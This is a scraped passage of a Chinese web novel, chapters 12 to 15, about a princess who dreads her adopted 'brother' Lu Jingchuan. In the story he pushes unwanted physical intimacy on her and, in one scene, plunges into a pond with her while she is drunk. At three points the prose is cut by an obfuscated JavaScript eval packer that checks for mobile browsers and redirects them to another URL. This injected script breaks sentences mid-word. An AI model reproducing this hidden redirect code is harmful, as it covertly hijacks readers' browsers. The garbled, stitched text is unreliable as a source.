陆泾川还未进入发育期,剧情记载这个时候的他只有十六岁,大概一米七的样子,比苏弱水只高了大概七厘米,等他后期发育,身高直线飙升,能达到一米八九,身着黑甲,手持长枪,如同一座笔挺的小山伫立在北平之地上,成为北平最强的战神,横扫其他藩王,顶着赫赫威名,带领北平铁剂,兵不血刃,攻陷帝都。 苏弱水的手帕覆在陆泾川的额头上,很快就湿了一大片。 女人身上的药香淡了很多,取而代之的是她身上自带的淡香,像夏日杂糅的娇花,说不清是哪一种花,可却很好闻。 她的表情一惯冷淡,擦汗的动作却是轻柔的。 少年眯起眼,突然俯身凑近。 到底是什么香呢? 太近了! 呼吸交缠,少年的眼睫都要刷到她的鼻子上。 苏弱水努力维持的完美表情出现裂痕,眼瞳睁大,像是受到了惊吓。可她没有后退,一开始是僵住了,后来是觉得再退会显得自己的势弱。 被恶犬盯住的时候,一定不能逃跑。 不然只会被咬断喉咙。 少年很浅地露出一个笑,因为距离很近,所以苏弱水能看出低垂的眉眼中带着强势的侵略性。 他身上有很多汗,透出一股淡淡的甜腥味,是他自己本身的味道。 陆泾川头发都被汗湿了一大半,额前的刘海湿漉漉地垂落,洒下来的汗水有几滴落到苏弱水脸上。 好烫。 苏弱水手一抖,帕子落下,被陆泾川抬手接住。 轻飘飘的帕子被他握在掌中,苏弱水的双腿支撑不住下意识坐回了石墩子上。 两人距离拉开,少年的视线瞥过来,盯着女人脸上自己的汗水痕迹,漆黑的眼神中带着一股意味不明的意思。 “你自己擦吧。”苏弱水用指尖擦掉自己脸上少年的汗渍。 她本就不是一个心理素质很好的人,又不太会撒谎,给陆泾川擦汗也是临时起意,脑子里想着她要继续进行恶心陆泾川的计划,眼睛一对上他的眼神,又下意识怂了。 少年握着手里的帕子,慢条斯理擦了汗,然后恭谨地递给苏弱水。 苏弱水看着那湿漉漉的帕子,下意识蹙眉,“我不要了,你扔了吧。” 陆泾川不知道自己出于什么心思,也没有将那帕子扔了,反而收了起来。然后他回到马匹旁,从马背上挂着的包袱里取出一样东西递给她。 用油纸包着,很大一包。 “什么东西?” “糖耳朵。”少年开口。 陆泾川不止一次给苏弱水买过糖耳朵,她都没有吃过。 苏弱水对这种食物没什么兴趣。 不知想到什么,她视线一动,伸手接过,打开油纸包,从里面取出一片糖耳朵。 糖耳朵原本是很大一个,大概有婴儿手臂那么大,陆泾川让人切过,现在就是小小几片。 苏弱水挑了比较大的一片,她拿着手里的糖耳朵,视线掠过陆泾川纯黑色的眸。 她抬手,将那糖耳朵递给陆泾川,“你先吃。” 少年望向坐在石凳的女子,昳丽眉眼缓慢下垂,盖住眸中暗色,然后俯身,咬住了糖耳朵。 苏弱水杏眸睁大,直接松手。 她没想到陆泾川直接就着她的手吃了。 陆泾川抬手接住那块糖耳朵,眼神平静地瞥过她,然后唇角缓慢露出一抹笑,“谢谢阿姐。” 糖耳朵的甜味在口中扩散,黏腻的甜。 苏弱水听到陆泾川对自己的称呼,皱了皱眉,却没纠正。 她稳住心神,视线在少年唇上略过,再次朝他招手。 少年一如刚才般凑上来,发带随着马尾垂落在左侧肩膀上,眼尾上翘,像只乖巧的狗儿。 苏弱水的指腹擦过他的唇瓣,“这里脏了。” 女人垂着眉眼,脸上表情没有太大变化,只有垂落后微微颤抖的指尖暴露出了她内心真实的想法。 唇上微凉的触感还在。 少年的眸色咻然一暗,强忍住表情变化,扬着唇角直起身。 苏弱水看到他下意识咬住了唇,然后低头,努力掩住脸上表情,并侧过了身,避开苏弱水的视线,躲在她的视觉盲区。 虽然没看到陆泾川的表情,但苏弱水猜测他现在应该恨不能立刻回去把自己的嘴巴洗上一百遍。 做得很好。 苏弱水给予自己肯定,然后慢吞吞拿起另外一片糖耳朵放进嘴里。 糖耳朵入口,带着微微热意,并没看起来那么油腻齁甜,反而透着一股老式糕点的淳朴感。 苏弱水不知不觉吃完了一整片。 还挺好吃,就是有点粘牙。 - 清晨,靠窗的芭蕉叶被风吹响。 “哗哗…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他懒洋洋换了一身新绸衣,柔软丝滑的料子贴在身上,黑发湿漉漉地散落,更衬得眉眼昳丽明亮。 陆泾川照旧走到窗前。 窗户的缝隙窄窄一条,能看到二楼那位郡主的屋子。 天色还没完全亮起来,屋子里依旧点着灯。 女人起得很早,纤细的影子在屋子里慢慢吞吞的来回走动,投射出漂亮的剪影。 陆泾川冷不丁又想到那个梦,呼吸一窒。 突然,二楼的房门被打开了。 那位郡主自从腿能走了以后每日清晨都要起身,自己慢吞吞的从二楼走下来。 她双手扶着木制栏杆,素白的指尖紧紧抓着,纤细的腰身裹着玉带,侧边是用珠子玉石串成璎珞状的腰链,随着她扭腰走路的动作微微晃动,摇曳生姿。 陆泾川站在窗后,隔着一条窄小的缝隙,视线往上。 她尤其喜欢珍珠制的首饰,耳垂上那一对珍珠坠子常常戴着。 细细的链子,白色圆润的天然珍珠,因为链子很长,所以有时候会垂到肩头,跟黑发纠缠在一起。 她会偏头,用手解开。 这个时候,女人白腻的肩颈线条就会格外突出。 院子里很安静,甚至还能听到蝉鸣声。 苏弱水却突然感觉有一股奇怪的感觉爬上脊背,带着一种被窥视的颤栗感。 她转头,一楼的芭蕉叶翠绿至极,她只看到一院空寂。 是错觉吗? 12.第 12 章 陆泾川似乎是信了她的话。 那句她说,要与他亲近的话。 一大早,少年就来寻她一道用早膳。 因为还在恢复期,所以苏弱水的吃喝方面要注意的地方很多,再加上她还要吃那神医开的药,因此忌口特别多。 早听说喝中药的忌口单子能填满一张a4纸,原来是真的。 幸好江南地区的伙食一向清淡。 苏弱水搅拌着面前的白粥,前面放了八碟子小菜。 她都不能吃,生冷的凉拌菜,辛辣的腌萝卜,油腻的肉类等等。 王妈妈替她准备了一颗咸鸭蛋,切开以后放在碟子里,苏弱水用筷子挑一点吃一点。 除了一颗流油的咸鸭蛋,还有一颗煮好的鸡蛋,用来补充蛋白质,简直清淡到了极致。 反观坐在她对面的陆泾川,用的肉包和花卷,搭配着八碟子小菜吃,这吃法不似南方人,更像北方人。 其实他本来就是北方人。 “阿姐,我用好了,要去练武了。” “嗯。”苏弱水没什么精神地点头。 陆泾川站起来,视线往下,屋子里暖和,女人脱了袄子,穿了件收腰的窄裙。腰很细,好像他一个手掌便能收拢。 “阿姐。” 苏弱水突然感觉身后一热,少年的身躯虚空罩下来,他单手撑在桌子上,径直将她虚虚压在了怀里。 “你怎么挑食?” 陆泾川指向那颗被她完完整整放在碟子里的蛋黄。 苏弱水不爱吃蛋黄,爱吃蛋白。 “被王妈妈看到又要说你了。” 陆泾川的另外一只手也搭在了桌子上。 苏弱水被圈在他怀里。 少年身型劲瘦,身上带着淡淡的味道,马尾落下来,扫过她的面颊。 “阿姐,你身上好香,你用的什么香?” 如果是别的男人说这种话,大多带上了几分隐晦的含义,会引人不适。 可陆泾川实在生得太好,再加上他那双眼看人时又装模作样的清纯,一点都没有其它的意思。 最重要的是,他顶着她弟弟的名号。 少年微微偏头,将面颊贴向了她的脖颈,轻轻嗅闻。 苏弱水感觉到少年的呼吸声一紧一慢,拂过她的肌肤。 太过了。 苏弱水听到自己疯狂加速的心跳。 她下意识想站起来,那双撑在桌子上的手臂不知何时绕到了她腰上。 陆泾川看起来瘦,实际一点也不轻。 他看着怀里的女人,有一种想要将她揉进身体里的冲动。 “阿姐,我替你吃掉,你告诉我你用的什么香,好不好?” “你,你先放开。” 苏弱水觉得自己实在是个双标狗,她能忍着抗拒去触碰陆泾川,却没有办法忍受陆泾川来触碰她。 “阿姐,我们是姐弟,就该这样亲近。”少年歪头看她,他站在她身后,从她身后探出头来,漆黑的眸子盯着她,“你不是说,想跟我亲近的吗?” “我……”苏弱水没忍住,伸手去推他。 手抬到一半,少年拉着她的手,抚着他的面颊落到下颚,再到脖子,锁骨。少年眯着眼,下颚高抬,发出很轻的闷哼声,像一条被摸舒服的恶犬,只在她面前敞开肚皮。 - 陆泾川被刘飞喊去练武了。 那颗蛋黄也进了他肚子里。 少年就在院子里。 苏弱水只要推开窗子就能看到。 阳光热烈,空气里开始弥漫起夏天的味道。 苏弱水抚了抚滚烫的脖颈,那里似乎还残留着陆泾川留下的湿润呼吸气息。 苏弱水脸色发白。 难道她记错了?陆泾川并不排斥跟别人接触? 苏弱水心烦意乱地抬手将窗子关上,闷头躺到榻上,用手捂住脸。 她的身体状态越来越好,死亡日期却越来越近。 这种命悬一线的感觉实在是太辛苦了。 院子里,少年穿着白色武服,衣衫被汗水浸湿,透出腰腹痕迹。有小丫鬟在一旁探头探脑地看,一等陆泾川休息,便捧了帕子过来。 苏弱水一直都知道,陆泾川很受小丫鬟们的欢迎。 少年侧身避开,小丫鬟印着光的眼眸渐渐湮灭,她将手中漆盘放到了桌子上。 陆泾川这才单手拎起帕子擦脸。 - 苏弱水不小心睡着了。 她这个人有点神经衰弱,该睡觉的时候睡不着,不该睡觉的时候莫名其妙又睡着了。 屋子里暗沉沉的,她也不知道现在是什么时辰了。 “妈妈?”苏弱水唤了一声,有人打了珠帘进来,是画屏。 画屏的病已经好的差不多了,她听说苏弱水寻到神医治好了双腿,激动地哭了一夜,第二日就回到屋子里来重新伺候她了。 “画屏,什么时辰了?” “酉时了,郡主。” 苏弱水没想到,她一觉从早上睡到了傍晚。 “方才小公子过来要跟郡主一道用晚膳,看到郡主还睡着便去门口等着了。” 她现在实在是不想看到他。 “你去帮我打发了吧。” 画屏那些日子虽病着,但也有小丫鬟在她床头说些八卦,她知道那位小公子就是世子,也听说郡主与世子关系很好。 画屏虽脸上疑虑,但并未多想,只点头,转身撩开珠帘出去了。 二楼屋子门口,陆泾川正靠在栏杆上看书。 光线逐渐昏暗下来,只剩下廊下挂着的几盏红纱笼灯,氤氤氲氲地笼罩下来。 少年听到身后动静,转头时看到画屏,脸上笑意不减,“画屏姐姐。” 画屏侧身行礼,“小公子,郡主说今夜不与您一道用晚膳了。” 少年眉头蹙起,“阿姐不舒服吗?” 画屏点头也不是,摇头也不是,只呐呐道:“可能心情不太好。” 少年明亮的眉眼落下一层淡淡黯色,“那我明日再来。” 后面一连几日,苏弱水都没有见陆泾川。 “小公子,今日郡主也说想自己用膳。”画屏低着头,不敢去看少年失望的脸色。 “……嗯。” 画屏转身进屋去了,少年看着面前紧闭的房门,脸上失望的表情渐渐淡去,眸色变得深谙。 他凝视着眼前的门扉,伸手触到上面的雕花,指甲跟门扉剐蹭,留下两道浅淡的木屑抓痕。 阿姐,真不乖。 - 这里是苏州地界,自苏弱水出现在这里之后,那位苏州知府便亲自往驿站来了数次。 第一次是请苏弱水去住他的苏州知府,甚至已经将自家人从府中腾了出来,只等她这位贵人光临。 苏弱水没去。 第二次是请苏弱水赴宴,说为她举办了接风宴。 苏弱水忙着治腿,也没有空去。 这次继续前来邀请,说府中荷花开了,邀请她前去参加赏荷宴。 “神医说让郡主多走动走动,听说苏州知府的园子里有一株珍贵的并蒂莲,乃花中珍品,这在咱们北方可是看不到的。” 苏弱水对莲花的兴趣不大,可她闷在屋子里太久了,神思混沌,一方面想要透透气,另外一方面也是急需要一个没有陆泾川出现的地方整理一下自己的思绪。 “嗯。” 苏弱水点了头,王妈妈立刻叫来画屏替她梳洗打扮。 今日天气不错,苏弱水褪了袄子,换成春衫,又让画屏给自己上了妆面。 苏弱水很少化妆,一方面是古代的化妆品不防水很碍事,另外 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天色微暗,宴席设在园中,午后她一到,这位知府便陪着她去赏了传说中的并蒂莲,还说要将并蒂莲送与她带回北平。 苏弱水自然是拒绝了。 并蒂莲虽然好看,但若是千里迢迢从苏州到北平,路上就死了。 苏弱水话少,那位知府也识趣,只陪着她逛园子。 园子很大,苏弱水有一种在参观苏州园林大杂烩的感觉。 逛了一会儿,她有些累了,正好到了晚宴时分,这位知府大人神秘兮兮的表示晚宴之时会有精彩表演,苏弱水没有在意。 她坐在主位,面前桌案上摆着美味佳肴,苏弱水正在忌口,也不能多食,微微叹息,觉得可惜了这些美食。她的叹息被那位知府看在眼里,只见这位知府往身后一抬手。 袅袅丝竹之音陡然转换,变成鼓点。苏弱水下意识抬头,便见天上飞下来一位红衣少年。 少年手持长剑,长发束成马尾,长剑破空,发出短暂的争鸣之音。袍踞飞舞,旋转腾跃,并无杀意,有的只是舞者的柔软和飘逸。 苏弱水一时间看怔了,那知府瞧见她的模样,一颗心终于定下来。 少年一舞毕,跪在地上喘气。 “郡主觉得如何?”知府大人起身。 苏弱水微微颔首,视线再一次从少年脸上划过,“嗯,挺好的。” 晚宴就此结束,苏弱水乘坐马车回到驿站。 出去一趟再回来,她的心情明显好了许多,而且那剑舞确实挺好看的。 夜色昏黑,院子里挂上了红纱笼灯。 苏弱水拄着拐棍,脚步一顿。 “阿姐回来了。” 虽挂了灯,但院子太大,总有照不到的地方。 陆泾川立在那棵芭蕉树下看她。 苏弱水记得这棵芭蕉树,她没见过那么大的芭蕉树,大概有三米的样子,靠墙而生,巨大的芭蕉叶蜿蜒下来,又大又密,几乎可以用遮天蔽日来形容。 如果陆泾川没有开口说话的话,她还发现不了他。 你怎么跟鬼一样! 苏弱水吓了一跳,她握紧拐棍用力吸了一口气,敷衍回应道:“嗯。” 少年站在芭蕉树下,抬手拨开面前的芭蕉叶。 暖红色的灯光照在他脸上,苏弱水看到他那双眼睛比平日里更加黑沉。 苏弱水转身上了二楼,陆泾川站在那棵芭蕉树下没有走。 她觉得自己的后背快要被他盯穿了。 苏弱水莫名有一种毛骨悚然的感觉。 她加快了脚步,拐棍打在木地板上,发出“啪嗒啪嗒”的声音。 伸手推开门,唤画屏去给她打水沐浴。 一边说话,苏弱水一边抬手拨开珠帘进入内室,然后手里的拐棍砸到了地上。 13.第 13 章 屋内只点了一盏琉璃灯,照在珠帘侧。 她的内室里跪着一个少年,身上穿着红衣,安安静静待在那里,听到声响之后也只是轻微动了动身形。 “郡主,是那位知府大人送来的。”刘飞站在门口,“已经查验过了。” 苏弱水有些懵,“送来做什么?” 刘飞顿了顿,看向苏弱水的眼神带上了几分欲言又止。 苏弱水恍然大悟,朝那少年道:“你的剑舞确实不错,不过我对舞蹈一窍不通,你回去吧。” 苏弱水话罢,门口传来一道很明显的低笑声。 她扭头看过去,只见陆泾川不知何时跟了上来,站在刘飞身后,身上穿了件单薄的绸衣,微微歪头站在那里看她,对比刘飞这种身形壮硕的中年男子,陆泾川的少年姿态尽显。 刘飞侧身,朝陆泾川行礼。 陆泾川抬脚步入屋内,视线先是落到她身上,然后才看向那少年,眼神骤冷。 “刘叔,阿姐说让他回去。” 刘飞颔首,进屋,将那少年领了出去。 少年咬着唇,恋恋不舍地看了一眼苏弱水。 女人生得貌美,说话温柔,举止优雅,垂目看人时,眉心胭脂痣如泪,眼神落在他身上,让他产生一种被垂怜的温暖感觉。 陆泾川眯起眼,侧身挡住少年目光。 少年怨恨的眼神落到他身上,陆泾川背对着苏弱水,冷笑一声。 真碍眼。 等那红衣少年被刘飞带走,苏弱水才后知后觉的意识到什么。 她想起临走时那位知府大人暧昧的语气,“听闻郡主身上有位貌美的少年郎,不知比他如何?”当时,那红衣少年就跟在知府身边,悄悄看她。 苏弱水是个客气的人,虽然这红衣少年的容貌完全比不上陆泾川,但秉持着她对陆泾川的不喜之情,苏弱水的回答是,“比他好。”起码看起来是真乖。 因为陆泾川的身份还未公开,所以众人只以为他是苏弱水带出来的少年郎。 苏弱水想起那位已经去世的,喜欢豢养男宠的惠安郡主,那位知府大人应该是误会了什么。 “阿姐很喜欢捡人回来吗?” 苏弱水正在发呆,听到陆泾川的声音后才发现屋子里只剩下她与他两个人了。 “没有。”苏弱水摇了摇头,“我只是觉得他的侧脸跟你长得有些像,多看了几眼。”后来证明,只是光影问题罢了,再加上装扮可能刻意模仿了陆泾川,只为了讨她喜欢,其实一点都不像。 可仅仅只是这几眼,哪里想到那位知府大人居然直接把人给她送了过来。 少年眸中阴霾褪去,他站到苏弱水身边,指尖勾起她身后冰凉凉的背云绕在腕间,“阿姐知道自己……”有多勾人吗? “什么?”苏弱水蹙眉,抽出被陆泾川攥在手里的背云。 少年捻了捻指尖,“没什么。” - 赶走陆泾川这件事进行的非常不顺利,苏弱水心情不佳,也没什么胃口,夜深人静的,驿站里头的人都睡了,黑压压的空气沉下来,压得她喘不过气。 她突然有点想喝酒。 “画屏,有酒吗?” “郡主,神医不是不让您吃酒吗?” “就喝一点点,好画屏。”苏弱水拉着画屏的手轻轻摇晃,女人仰头看她,清冷眉眼微微挑起,看起来可怜可爱极了。 画屏受不了苏弱水这副模样,答应去替她拿酒。 “妈妈好像酿了一罐子杨梅酒,奴婢去替您取些过来。” 画屏不太懂酒,苏弱水也不懂。画屏去厨房将那罐子杨梅酒抱了来,怕苏弱水吃多了,便只舀出来小小一杯,半碗茶那么多,让她过过嘴瘾。 可她们不知道,这杨梅酒是王妈妈用烈性白酒泡的。 苏弱水一入口就觉得辣喉咙,可回过味来又尝到一股杨梅的清甜香气,就这样一小口,一小口的将茶碗里的杨梅酒吃完了。 有风从窗口吹入,苏弱水被吹得有些冷,可酒气却更加上头了。 她迷迷糊糊的想,窗子不是被她关上了吗? 苏弱水趴在桌子上,想起身去关窗子,身子却软得起不来。 珠帘“哗啦啦”的被人拨响,苏弱水努力抬头,看到眼前缓慢走出一个人影。 那人影又细又长,慢吞吞走到她面前。 苏弱水努力眯起眼,终于看清楚眼前人的容貌。 她扶趴在桌子上,歪头看向他,面颊肉被微微挤出,少了几分清冷气质,多了几分娇憨可爱。 “喝醉了?”少年的指尖抚过她的眉心。 “你怎么还不走?”苏弱水蹙眉,觉得痒痒的不舒服。 少年缓慢撩袍坐到苏弱水对面,对她说出这句话并没有感到意外,“阿姐希望我走?” 苏弱水的脸上呈现出醉酒姿态,“不然呢?” 陆泾川抬眸,慢条斯理打量她。 女人仰头看他,发髻散乱,苍白的面颊上浮着酒色红晕,那抹酒色从眼尾散开,如被揉捏的花瓣,渗入脖颈。她整个人都是绯红色的,像被杨梅泡开了。 尤其是眉心那一点胭脂痣,艳丽至极。 陆泾川抬手,似是想触摸那一点胭脂色,手抬到一半,突然顿住。 屋内弥漫着酒香,那香味从陆泾川的呼吸中渗进去,穿透四肢百骸。 少年突然被蛊惑,倾身过去,喉结滚动,湿漉漉地舔过女人眉心那颗胭脂痣。 胭脂痣沾了水渍,颜色更加艳丽。 苏弱水觉得不适,偏头想躲开,一只手掐住她的下颚,也没有太用力,却禁锢住了她偏头的动作。 “别动,阿姐。” 说要与他亲近,可看着他的眼神之中总藏着惊惶和抗拒。 陆泾川是个敏锐的人,他能看穿女人这副冷淡皮囊之下的色厉内荏。 该说她是太过敏锐,还是太过胆小。 少年指腹厚茧摩挲过眉心,因为吃痛,所以女人的眉头皱得很紧,她的声音带着软绵的酒气,很好听的音色,像撒娇,可说出来的话却一点都不好听,“不要你,讨厌你。” 少年脸上的笑意瞬间收敛,周身的柔和气息消散,露出最真实的阴暗情绪。 虽然她的不喜,她的手段,她的驱赶,他都知道,但亲耳听到之后,心情依旧不悦。 “怎么,连你亲弟弟都不要了吗?” 陆泾川语气阴冷,脸上却又露出笑。 苏弱水已经醉了,醉酒的人没有办法控制自己吐露实话,她一个人对付一头恶犬实在是太辛苦了,“想要跟弟弟亲近,可很讨厌你。” 苏弱水知道,原书中的苏锦书是个很好的人,若是能遇到,他们大抵也能相处的很好。 所以,她只是不要他。 换个人来当她弟弟,她就要了。 比如今天那个红衣少年。 陆泾川看着她,几乎控制不住自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602970|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的力气,女人脸上露出痛楚的神色。 她抬手挣扎,指甲在他手背上划出红痕。 陆泾川的眼神越来越冷,直到指骨被狠狠咬了一口,才面无表情地松开她。 酒劲上来,苏弱水晕得厉害,她逐渐看不清眼前的人,慢慢的,她的眼皮垂下来。 陆泾川看着扶趴在桌上的女人,指腹摩挲着被咬出齿痕的指骨。 “阿姐,真的不要我吗?” 少年俯身,语气平静。 苏弱水如同听到恶鬼低语一般用力摇头,“不要,不要你……” 头摇得太厉害,苏弱水只感觉一阵头晕,彻底陷入昏睡。 少年安静保持着俯身的动作,指尖抚过女人发尾,然后弯腰,将人抱起来。 苏弱水醉了,醉得很厉害,连被人抱起来都没有感觉。 驿站后面有个小花园,不大,原本照料的不精细,野花野草蔓延,也鲜少有人来,直到苏弱水带着人住进这家驿站后,才有人打理出来,苏弱水有时候会带着丫鬟们在小花园里一道坐一坐,用些茶点。 花园内摆了新的假山,凉亭也被修缮了,新盆内种着新花,池塘也被清理过了,有细碎的莲花顺着池塘蔓延。 到处都弥漫着花香,在这样优雅柔和的环境之中,少年的眼神却冷得吓人。 池塘里的水是从山上引下来的活泉水,养了几尾锦鲤,在巨大的荷叶下穿梭,被人养得胖乎乎的艰难游动,像鼓起的气球。 白日里,池塘清澈透亮。此刻月光之下,它却透出深沉的黑,像一个吃人的黑洞一样弥漫在夜色中。 陆泾川抱着人来到池塘边,远远看到前面有小丫鬟提着灯笼绕进房廊,往这处过来。 小丫鬟们住在后面的罩房里,回去要穿过这片小花园。 陆泾川低头看了一眼苏弱水,额头蹭了蹭她的面颊,动作是温情的,可眼神却很冷,“阿姐,别害怕,很快就会过去的。” 下一刻,他抱着人跃入池塘之中。 水花四溅,从四面八方包裹过来,带着厚重的泥腥味。 锦鲤受到惊吓,四散奔逃。 六月的天,水已经不凉了,可苏弱水不会水,池水带着泥土的腥气往她口鼻中钻。 苏弱水好像在做梦。 她梦到一只恶犬叼着她的脖子将她往下拖。 它的利齿咬住她的脖子,她无法挣脱,整个人不断往下坠,连带着呼吸都被剥夺了。 终于,她睁开眼,看到混沌的水面,沁着惨白昏暗的光。 她在哪里。 无法呼吸。 苏弱水下意识挣扎起来,她的肺部几乎要炸裂。 突然,她感觉有人在将她往上托举。 苏弱水慌乱至极,只是凭借着本能,借着身下那股力气,扒拉着双臂往上伸。 水的阻力慢慢变小,她的身体也跟着轻盈起来。 下一刻,身下的力道猛地一抬,她被推了上去。 “咳咳咳咳……呕……” 苏弱水伏在岸边,一双腿还垂在水中,她使劲呕吐,劫后余生。 “阿姐……”身后传来一道虚弱的声音。 苏弱水扭头,只来得及看到少年沉没的头顶。 “郡主?郡主!” 小丫鬟发现了这里奇怪的声音,小心翼翼走过来,发现居然是自家郡主。 苏弱水指着水下,声音嘶哑而颤抖,“救,救人……” 14.第 14 章 屋内弥漫着低压,苏弱水身上披着薄毯被推进来。 她的酒彻底醒了。 跟躺在床上呼吸微弱,面色惨白,看起来跟一具尸体没什么两样的陆泾川相比,她已经幸运很多,只是受到了一些惊吓,吃了几口池塘水。 苏弱水完全没有醉酒之后的记忆,从发生的事情来看,应该是她喝醉之后去逛了园子,不小心摔进池塘里,然后被陆泾川救了。 苏弱水记得,她家的邻居就是这样没的。 过年的时候去别家吃多了酒,一脚踩进河里淹死了,第二天被人发现,警察还上门来调查了,最后确定就是失足落水。 喉咙口涨疼的感觉还未完全消失,苏弱水苍白着脸,扭头看向站在床边的医士。 这位医士是苏弱水从北平带出来的,一直替她看病。 医士看一眼苏弱水,神色难看地摇头。 虽然刘飞已经对陆泾川进行过急救工作,但很显然,他在水里泡太久了。 苏弱水满怀期待的背脊猛地一下就落了回去,她裹紧身上的毯子,指尖用力到泛白。 “郡主,神医来了!” 刘飞骑马去将那位神医带了过来。 神医身上还穿着寝服,很明显是被急抓过来的。他拧着眉去查看陆泾川,然后抽出银针施针。 苏弱水屏着呼吸,没敢说话。 半个时辰后,神医将陆泾川身上的银针全部取出。 “怎么样了?”苏弱水终于哆嗦着开了口。 神医低头看她一眼,然后拱手道:“只能看这位公子自己的造化了。” 连神医都这样说,说明陆泾川现在的状态很不好。 苏弱水是个普通人,她从小生活在阳光下,规规矩矩一路上学到大学毕业,听父母的话,听老师的话,一直是个好孩子。虽然从校园象牙塔里走出来步入社会变成社畜这件事让她压力巨大,但她并不会想要上街拿刀无差别杀人,毕竟她是一个正常人。 因此,虽然她想活,但并没有想要陆泾川死,她只是想赶走他。 现在,陆泾川为了救她躺在这里,生死不明。 苏弱水觉得愧疚又焦躁。 如果陆泾川不是为了救她而变成现在这样,她最多只是如听了一个八卦一般唏嘘一番,然后阴暗的庆幸自己能活命了。 可他是为了她才变成这样的,现在还躺在她面前,生死不明。 苏弱水被自己的道德和良心谴责。 她让刘飞将附近的医士都喊了一遍过来,个个提着药箱摇头离开。 是啊,连神医都治不了,这些普通的医士又怎么能治得了呢? 神医临走前给苏弱水把了脉,给她开了一副方子后被刘飞送了回去。 王妈妈跪在院子里,在角落摆了酒杯和香炉,求诸天佛祖显灵。 苏弱水坐在轮椅上,隔着窗子望向外面的月亮。 她在心里跟自己说,如果陆泾川这次能醒过来,她就认命,不赶他走了。 一方面是因为自己的良心,另外一方面也是觉得连这样的险境也能醒过来,只能说明天道实在太过偏爱陆泾川,因此,就算她再如何计划逃避原身的命运,也是做无用功。 苏弱水并不是一个喜欢钻牛角尖的人,相反,她是个办不到就喜欢放弃,甚至觉得逃避虽然可耻但有用的人。 这个世界上有太多的事人力而不可为。 如果非要做出个成绩,弄出点结果,只会把自己逼死。 她已经尽力了。 “郡主,这里有别人守着,奴婢带您回去休息一会吧?您都一夜没合眼了。” 屋里屋外站满了人,苏弱水在陆泾川的屋子里守了一夜,晨曦光色从外照入,衬得她那张脸愈发苍白。 苏弱水坐着轮椅守在陆泾川床边,她低头看一眼少年,却不敢伸手,抬眸求助身侧的画屏,“画屏,你帮我探一探他的鼻息……” 画屏点头,小心翼翼去探少年的鼻息。 他的呼吸很微弱,若不仔细看,你甚至会觉得躺在那里的人已经没有了呼吸。 “好着呢,郡主。”画屏安慰道:“您回去休息吧。” 苏弱水红着眼,低垂下头,“不用了,我睡不着。” - 苏弱水熬了三日,在第三日的时候终于回去休息了,因为她实在熬不住了。 刘飞和王妈妈带着家奴们轮班看守陆泾川,苏弱水刚刚沐浴完毕,顶着黑青色的眼圈吃了一碗安神汤,刚刚闭上眼,就听到楼下传来的喧哗声。 随后,她的屋门被人敲响,“郡主,小公子醒了。” 苏弱水立刻睁眼起身,拄着拐棍下楼。 陆泾川刚醒,身边就围了一圈人。 他缓慢眨了眨眼,张嘴,却因为虚弱所以没有喊出声来。 门口传来拐棍声,女人身上披了件杏色单衣,身型又瘦了好几斤,轻飘飘的一片推门进来。 众人看到苏弱水过来,立刻往两边撤离,露出躺在中间的陆泾川。 少年在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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随后,陆泾川听到她说,“不会的,那只是梦。” 陆泾川缓慢搂紧怀里的人,半张脸彻底埋进女人脖颈间,他的唇触到她的脖颈,他能感受到肌肤下跳动的血脉。 “阿姐不会把我赶走吗?” 苏弱水垂下眼睫,约定道:“不会的。” 现在,陆泾川终于相信初见之时那位医士说的话了。 他说,郡主素来心软。 15.第 15 章 陆泾川醒过来之后身体恢复很快,那掉下去的几斤肉一下涨了回来。 “阿姐又挑食。”每日陆泾川会来她的屋子一道用早膳。 少年坐在苏弱水身边,穿着显瘦削的白色亵衣,长发被简单束成马尾,脸色还没完全恢复,他单手撑着下颚坐在那里,朝苏弱水看过来的时候眉眼上挑,好看的惊人。 “不爱吃这个。” 苏弱水觉得自己也不是很挑食,只是不喜欢吃蛋黄而已。 少年歪头笑了笑,伸手拿起那颗蛋黄放进了嘴里。 “阿姐最近没有好好休息吗?” 比起陆泾川强悍的恢复能力,苏弱水熬的那三夜到现在都没有恢复过来。 她眼下依旧带着淡淡的青色,整个人的精神气也很弱。 “嗯。”苏弱水蔫蔫点头。 “那阿姐去休息一会吧。” 苏弱水一般不用早膳,她喜欢晚上看话本子,然后早上晚起,直接用午膳。不过为了陪陆泾川吃早膳,她还是强撑着起身了,只是眼皮耷拉着,似醒非醒的样子,把蛋黄剥出来,吃了外面的蛋白之后就不用了。 反观陆泾川,依旧是将桌子上准备的早膳一扫而空。 少年还在长身体,短短小半年的时间,苏弱水就觉得他似乎比初见时长高不少。 “我去睡了。”苏弱水起身,打了珠帘进入内屋。 她褪下身上的披风,直接挂下帘子休息。 画屏进来将桌子上的碗碟收了后准备去侍弄熏香炉。 陆泾川起身道:“我来。” “小公子会吗?” 画屏将手里的盒子打开,露出里面的九件套。 苏弱水惯常使用一款纯铜檀香炉,先用香铲往里添加适量香灰,然后用香压按压平整,再以香粉入篆,最后小心刮平起篆,以火引之。 画屏只是略微讲解,陆泾川就照着她说的步骤做出来了。 画屏下意识睁大眼,惊诧于这位小公子的学习能力。 “这样就行了吧?”少年撩袖引香,动作优雅自持,哪里有曾经落魄模样,彷佛天生高贵。 “是的,小公子。” 陆泾川盖上炉盖,一缕白线从镂空缝隙里袅袅而升。 屋内被熏香的味道占满。 